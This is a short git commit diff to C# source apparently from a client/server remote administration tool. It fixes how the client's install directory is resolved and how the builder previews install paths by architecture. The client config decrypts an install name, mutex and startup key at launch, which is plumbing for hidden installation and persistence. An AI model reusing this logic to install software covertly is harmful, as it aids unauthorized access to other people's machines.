Re-set directory after fixing it

This commit is contained in:
MaxXor 2015-08-28 13:11:05 +02:00
parent bbcc2f954e
commit a714178604
2 changed files with 13 additions and 7 deletions

View File

@ -28,7 +28,7 @@ namespace xClient.Config
public static void Initialize() public static void Initialize()
{ {
FixSpecialFolder(); FixDirectory();
} }
#else #else
public static string VERSION = "1.0.0.0r"; public static string VERSION = "1.0.0.0r";
@ -59,11 +59,11 @@ namespace xClient.Config
INSTALLNAME = AES.Decrypt(INSTALLNAME); INSTALLNAME = AES.Decrypt(INSTALLNAME);
MUTEX = AES.Decrypt(MUTEX); MUTEX = AES.Decrypt(MUTEX);
STARTUPKEY = AES.Decrypt(STARTUPKEY); STARTUPKEY = AES.Decrypt(STARTUPKEY);
FixSpecialFolder(); FixDirectory();
} }
#endif #endif
static void FixSpecialFolder() static void FixDirectory()
{ {
if (PlatformHelper.Is64Bit) return; if (PlatformHelper.Is64Bit) return;
@ -77,6 +77,8 @@ namespace xClient.Config
SPECIALFOLDER = Environment.SpecialFolder.System; SPECIALFOLDER = Environment.SpecialFolder.System;
break; break;
} }
DIR = Environment.GetFolderPath(SPECIALFOLDER);
} }
} }
} }

View File

@ -322,13 +322,17 @@ namespace xServer.Forms
else if (rbProgramFiles.Checked) else if (rbProgramFiles.Checked)
path = path =
Path.Combine( Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86), Path.Combine(
txtInstallsub.Text), txtInstallname.Text); Environment.GetFolderPath(PlatformHelper.Architecture == 64
? Environment.SpecialFolder.ProgramFilesX86
: Environment.SpecialFolder.ProgramFiles), txtInstallsub.Text), txtInstallname.Text);
else if (rbSystem.Checked) else if (rbSystem.Checked)
path = path =
Path.Combine( Path.Combine(
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.SystemX86), txtInstallsub.Text), Path.Combine(
txtInstallname.Text); Environment.GetFolderPath(PlatformHelper.Architecture == 64
? Environment.SpecialFolder.SystemX86
: Environment.SpecialFolder.System), txtInstallsub.Text), txtInstallname.Text);
this.Invoke((MethodInvoker)delegate { txtExamplePath.Text = path + ".exe"; }); this.Invoke((MethodInvoker)delegate { txtExamplePath.Text = path + ".exe"; });
} }